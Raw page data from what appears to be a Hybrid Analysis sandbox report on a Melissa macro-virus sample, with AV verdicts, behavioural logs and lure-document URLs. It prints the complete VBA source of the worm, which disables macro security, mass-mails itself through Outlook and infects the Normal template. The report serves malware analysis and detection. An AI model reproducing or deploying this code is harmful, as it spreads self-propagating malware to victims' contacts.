24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 37:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious W97M/Melissa.A Sample 554701bc874d… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 554701bc874d…. Malware family: W97M/Melissa.A. Threat score 100/100. 18/25 AV engines flagged this file. 7 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/554701bc874da646285689df79e5002b3b1a1f76daf705bea9586640026697ca","keywords":["Malicious","W97M/Melissa.A","malware analysis","sandbox report","threat intelligence","554701bc874da646285689df79e5002b3b1a1f76daf705bea9586640026697ca"],"about":{"@type":"SoftwareApplication","name":"LIST.DOC","applicationCategory":["doc","office"],"identifier":"554701bc874da646285689df79e5002b3b1a1f76daf705bea9586640026697ca","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"W97M/Melissa.A","antivirusDetections":{"malicious":18,"total":25},"behavioralIndicators":{"malicious":7,"suspicious":9},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Te4e,File "Melissa.cls" (Streampath: "Macros/VBA/Melissa") has code: "Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End If Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then _ ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then _ NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True: End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub"26:T427,"LIST.DOC" has type "Composite Document File V2 Document Little Endian Os: Windows Version 4.10 Code page: 1252 Title: Password List for March 26th 1999 Subject: Adult Website Passwords Author: John Holmes Keywords: 73 sites in this list Comments: Password List for March 26th 1999 Template: Normal.dot Last Saved By: Him Revision Number: 2 Name of Creating Application: Microsoft Word 8.0 Create Time/Date: Fri Mar 26 11:39:00 1999 Last Saved Time/Date: Fri Mar 26 11:39:00 1999 Number of Pages: 2 Number of Words: 745 Number of Characters: 4249 Security: 0" "LIST.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Sun Mar 21 08:10:34 2021 mtime=Sun Mar 21 08:10:34 2021 atime=Sun Mar 21 08:10:52 2021 length=40960 window=hide" "~_LIST.DOC" has type "data" "index.dat" has type "data" "~WRS_F5C5C8DF-08E1-4028-B75F-C0DB3DB86856_.tmp" has type "data" "firstrun.log" has type "diff output ASCII text with CRLF line terminators" "~_Normal.dotm" has type "data" "MSForms.exd" has type "data"27:T6ce,"WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001d.db" "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "WINWORD.EXE" touched file "C:\Users\WmLOfxY\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{485D03D6-756B-471A-A230-43309FAF1044}.tmp" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{485D03D6-756B-471A-A230-43309FAF1044}.tmp" "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "C:\Users\WmLOfxY\AppData\Local\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F5C5C8DF-08E1-4028-B75F-C0DB3DB86856}.tmp" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{500A90C0-E6DF-4065-84A6-5910A66BDAEC}.tmp"28:T10d8,Pattern match: "http://www.cyberclub.com/ignite/members" Pattern match: "http://hotbox.danni.com/hotbox/" Pattern match: "http://www.powerflow.com/members/135798642.html" Pattern match: "http://www.allasians1.com/membersonly/gallery/" Pattern match: "http://www.breathlessbabes.com/protected" Pattern match: "http://www.caughtceleb.com/cmlogin.html" Pattern match: "http://www.pornmountain.com/members" Pattern match: "http://www.sexillustrated.com/1stquarter/members2.htm" Pattern match: "http://www.redlight.com/members" Pattern match: "http://www.freeamsterdamsex.com/members" Pattern match: "http://www.itouchmyself.com/members/index.html" Pattern match: "Http://members.celebs-n-models.net/babes/" Pattern match: "http://www.dixiecam.com/members/" Pattern match: "http://www.itsreal.com/members" Pattern match: "http://www.111sexstreet.com/private/sex02.html" Pattern match: "http://teenlabs.com/reactor/reactor1.htm" Pattern match: "http://www.sweet18.com/home.html" Pattern match: "http://members.campusbabes.com/" Pattern match: "http://www.sextv.com/members/index.html" Pattern match: "http://www.smutheaven.com/m/members.html" Pattern match: "http://www.creamythighs.com/members/" Pattern match: "http://www.celebrity-hardcore.com/members/index.html" Pattern match: "http://www.dirtyonline.com/membersonly/" Pattern match: "http://www.sexpaige.com/members/mem_home.html" Pattern match: "http://members.sexy-photos.com" Pattern match: "http://www.cybersex.com/members/index.html" Pattern match: "http://members2.5starerotica.com/index.html" Pattern match: "http://www.virtualhardcore.com/pictures/index.html" Pattern match: "http://www.sexxx-drive.com/members/index.html" Pattern match: "http://www.sizzle.com/members/index.shtml" Pattern match: "http://www.lesbiansonly.com/members.htm" Pattern match: "http://members.maturewomen.com/" Pattern match: "http://www.sexualeuphoria.com/members/archives/index.html" Pattern match: "http://www.pureteens.com/members" Pattern match: "http://www.extremeadultsex.com/members" Pattern match: "http://www.sexroom.net/members/" Pattern match: "http://amazingonline.com/membersdox/" Pattern match: "http://www.venusonline.com/tricia/Members/index.htm" Pattern match: "http://www.chickflicks.com/m/members.html" Pattern match: "http://www.valuesex.com/valuesexmembers/main.html" Pattern match: "http://www.xxxensation.com/cgi-sec/xxxlogin" Pattern match: "http://www.kingporno.com/authorized/" Pattern match: "http://www.erotic-express.com/member/eng/" Pattern match: "http://www.sexualeuphoria.com/members/index.html" Pattern match: "http://members.celebs-n-models.net/babes/" Pattern match: "http://www.erosnet.com/home.html" Pattern match: "http://www.manhole.com/members/index.html" Pattern match: "http://www.cyberstrip.com/members/html/members.cfm" Pattern match: "http://www.corinadine.com/members/index.html" Pattern match: "http://www.Shockingpink.com/members/tina1.html" Pattern match: "http://www.adultpleasures.com/members/" Pattern match: "http://www.scoreland.com/cgi/secured/default2.htm" Pattern match: "http://www.ultimatexxx.com/members42488/" Pattern match: "http://pureteens.com/members-only/index.html" Pattern match: "http://pureteens.com/members/" Pattern match: "http://www.asianslavegirls.com/members/" Pattern match: "http://www.xxxalley.com/members-only/" Pattern match: "http://www.ziots.com/snail/pix/" Pattern match: "http://members.unfaithful.com" Pattern match: "http://www.pussypower.com/members" Pattern match: "http://members.cdgirls.com/entry.html" Pattern match: "http://www.18hardcore.com/secure/enter2.htm" Pattern match: "http://www.webvirgins.com/pass.html" Pattern match: "http://www.eroticboxoffice.com/members/home.html" Pattern match: "http://www.hotbody.com/members" Pattern match: "http://www.houseofsin.com/m/members.html" Pattern match: "http://www.vidseek.com/gate/gateway.cfm" Pattern match: "http://badpuppy.com/images/exhibitionist/" Pattern match: "http://www.purexxx.com/members/" Pattern match: "http://ww1.happytime.com/xxxsex.htm" Pattern match: "http://www.orgasm.com/members/indexnext.html" Pattern match: "http://members.flyntdigital.com:8080/bin/login?Tag=/&URI=/doc/hustler/index.html" Heuristic match: "autodiscover-s.outlook.com"29:T875,"WINWORD.EXE" wrote bytes "739bb296291ed701" to virtual address "0x3F5A3258" (part of module "WINWORD.EXE") "WINWORD.EXE" wrote bytes "e9abc0e3fecc" to virtual address "0xFFA74060" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "00100000" to virtual address "0xFD6385A4" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "eb8ed397291ed701" to virtual address "0xE683DE48" (part of module "RICHED20.DLL") "WINWORD.EXE" wrote bytes "00100000" to virtual address "0xFD638468" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "0360023001110900" to virtual address "0xE664E228" (part of module "MSGR3EN.DLL") "WINWORD.EXE" wrote bytes "d8251997291ed701" to virtual address "0xEF8E71C0" (part of module "WWLIB.DLL") "WINWORD.EXE" wrote bytes "e94b9fe3fecccccccccc" to virtual address "0xFFA76230" ("VariantChangeType@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "40130000" to virtual address "0xFD638538" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "40130000" to virtual address "0xFD638478" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "d3952b97291ed701" to virtual address "0xF43D0160" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "82001997291ed701" to virtual address "0xED8E2350" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "48b8101604f6fe070000ffe0" to virtual address "0xFD621000" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "48b8601304f6fe070000ffe0" to virtual address "0xFD621340" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "48b8e01104f6fe070000ffe0" to virtual address "0xFFE21000" (part of module "WS2_32.DLL") "WINWORD.EXE" wrote bytes "e933f0e3fe" to virtual address "0xFFA71180" ("VariantClear@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "401362fdfe070000" to virtual address "0xFD63FE48" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "401362fdfe070000" to virtual address "0xFD63FB48" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "301204f6fe070000" to virtual address "0xFE631648" (part of module "WININET.DLL") "WINWORD.EXE" wrote bytes "acf21897291ed701" to virtual address "0xF4ADFA00" (part of module "GFX.DLL")2a:T54c,Normalized macro string: "System.PrivateProfileString" Normalized macro string: "Options.ConfirmConversions" Normalized macro string: "Options.VirusProtection" Normalized macro string: "Options.SaveNormalPrompt" Normalized macro string: "Outlook.Application" Normalized macro string: "UngaDasOutlook.GetNameSpace" Normalized macro string: "DasMapiName.Logon" Normalized macro string: "DasMapiName.AddressLists.Count" Normalized macro string: "DasMapiName.AddressLists" Normalized macro string: "UngaDasOutlook.CreateItem" Normalized macro string: "AddyBook.AddressEntries.Count" Normalized macro string: "AddyBook.AddressEntries" Normalized macro string: "BreakUmOffASlice.Recipients.Add" Normalized macro string: "BreakUmOffASlice.Subject" Normalized macro string: "Application.UserName" Normalized macro string: "BreakUmOffASlice.Body" Normalized macro string: "BreakUmOffASlice.Attachments.Add" Normalized macro string: "ActiveDocument.FullName" Normalized macro string: "BreakUmOffASlice.Send" Normalized macro string: "DasMapiName.Logoff" Normalized macro string: "ActiveDocument.VBProject.VBComponents.Item" Normalized macro string: "NormalTemplate.VBProject.VBComponents.Item" Normalized macro string: "NTI1.CodeModule.CountOfLines" Normalized macro string: "ADI1.CodeModule.CountOfLines" Normalized macro string: "ADI1.Name"2b:T16c8,"WINWORD.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff9dd330000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff9dd330000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff9dd330000 "WINWORD.EXE" loaded module "KERNEL32" at base 7ff9de1c0000 "WINWORD.EXE" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff9a5d30000 "WINWORD.EXE" loaded module "IMM32.DLL" at base 7ff9df8f0000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base 7ff9a9940000 "WINWORD.EXE" loaded module "WWLIB.DLL" at base 7ff99c620000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSO.DLL" at base 7ff9990f0000 "WINWORD.EXE" loaded module "MSO.DLL" at base 7ff9990f0000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base 7ff9c37b0000 "WINWORD.EXE" loaded module "KERNEL32.DLL" at base 7ff9de1c0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\CULTURES\OFFICE.ODF" at base 2bd0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\1033\WWINTL.DLL" at base 2ff0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff9da4a0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\1033\MSOINTL.DLL" at base 3230000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSORES.DLL" at base 34a0000 "WINWORD.EXE" loaded module "DWMAPI.DLL" at base 7ff9da8b0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff9df390000 "WINWORD.EXE" loaded module "SRPAPI.DLL" at base 7ff9c1c00000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff9de1c0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSPTLS.DLL" at base 7ff9a3fe0000 "WINWORD.EXE" loaded module "UXTHEME.DLL" at base 7ff9da4a0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\RICHED20.DLL" at base 7ff9a3e10000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 7ff9a3da0000 "WINWORD.EXE" loaded module "ADVAPI32.DLL" at base 7ff9df390000 "WINWORD.EXE" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff9a3d00000 "WINWORD.EXE" loaded module "SHLWAPI.DLL" at base 7ff9df680000 "WINWORD.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff9dbec0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPC.DLL" at base 5b830000 "WINWORD.EXE" loaded module "RPCRT4.DLL" at base 7ff9dd850000 "WINWORD.EXE" loaded module "WINSPOOL.DRV" at base 7ff9a5c80000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 7ff9d84c0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 7ff9d4ce0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff9dce70000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9d2180000 "WINWORD.EXE" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ff9ced80000 "WINWORD.EXE" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ff9a9ff0000 "WINWORD.EXE" loaded module "USER32.DLL" at base 7ff9df1e0000 "WINWORD.EXE" loaded module "SHELL32.DLL" at base 7ff9de9e0000 "WINWORD.EXE" loaded module "POWRPROF.DLL" at base 7ff9dcd40000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff9d6aa0000 "WINWORD.EXE" loaded module "OLEAUT32.DLL" at base 7ff9ddcc0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ff9cdb90000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff9ca990000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff9dd330000 "WINWORD.EXE" loaded module "SSPICLI.DLL" at base 7ff9dc110000 "WINWORD.EXE" loaded module "VERSION.DLL" at base 7ff9d2180000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\GKWORD.DLL" at base 7ff998c30000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WINDOWS.SYSTEM.LAUNCHER.DLL" at base 7ff9d3740000 "WINWORD.EXE" loaded module "GDI32.DLL" at base 7ff9de9b0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\USP10.DLL" at base 5b300000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\DATAEXCHANGE.DLL" at base 7ff9c2870000 "WINWORD.EXE" loaded module "VIRTDISK.DLL" at base 7ff9c8700000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff9daf70000 "WINWORD.EXE" loaded module "CSCAPI.DLL" at base 7ff9ce950000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL" at base 5af70000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\1033\VBE7INTL.DLL" at base c890000 "WINWORD.EXE" loaded module "VBE7.DLL" at base 5af70000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSPROOF7.DLL" at base 7ff9aa0c0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\PROOF\1033\MSGR3EN.DLL" at base 7ff998a40000 "WINWORD.EXE" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 7ff9df840000 "WINWORD.EXE" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ff9df1e0000 "WINWORD.EXE" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ff9df1e0000 "WINWORD.EXE" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 7ff9df390000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7ff9dda70000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ff9df450000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 7ff9ddcc0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 7ff9c25d00002c:T602,"WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\COM3"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\INPROCSERVER32"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\INPROCSERVER32"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\INPROCHANDLER32"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\INPROCHANDLER32"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\INPROCHANDLER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\INPROCHANDLER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "")2d:T846,"WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COM3"; Key: "COM+ENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}"; Key: "ACTIVATEONHOSTFLAGS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\INPROCSERVER32"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "MAXSXSHASHCOUNT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}"; Key: "APPID"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "EA289C62-8C36-4904-9726-15ECD282AED5"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "703FCC13-B66F-5868-DDD9-E2DB7F381FFB"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC\EXTENSIONS"; Key: "NDROLEEXTDLL"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}"; Key: "ACTIVATEONHOSTFLAGS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPX"; Key: "ALLOWDEVELOPMENTWITHOUTDEVLICENSE"; Value: "")2e:T485,"WINWORD.EXE" trying to touch file "C:\Windows\System32\apphelp.dll" "WINWORD.EXE" trying to touch file "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" "WINWORD.EXE" trying to touch file "C:\Windows\System32\ntdll.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\kernel32.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\KernelBase.dll" "WINWORD.EXE" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "WINWORD.EXE" trying to touch file "C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb" "WINWORD.EXE" trying to touch file "C:\Windows\System32\AcSpecfc.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\sspicli.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\userenv.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\msi.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\winspool.drv" "WINWORD.EXE" trying to touch file "C:\Windows\System32\bcrypt.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\AcGenral.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\mpr.dll" "WINWORD.EXE" trying to touch file "C:\Windows\System32\msvcrt.dll"2f:T8325,"WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\SECURITY\TRUSTED DOCUMENTS"; Key: "LASTPURGETIME"; Value: "AA6BB601") "WINWORD.EXE" (Access type: "SETVAL"; Path: 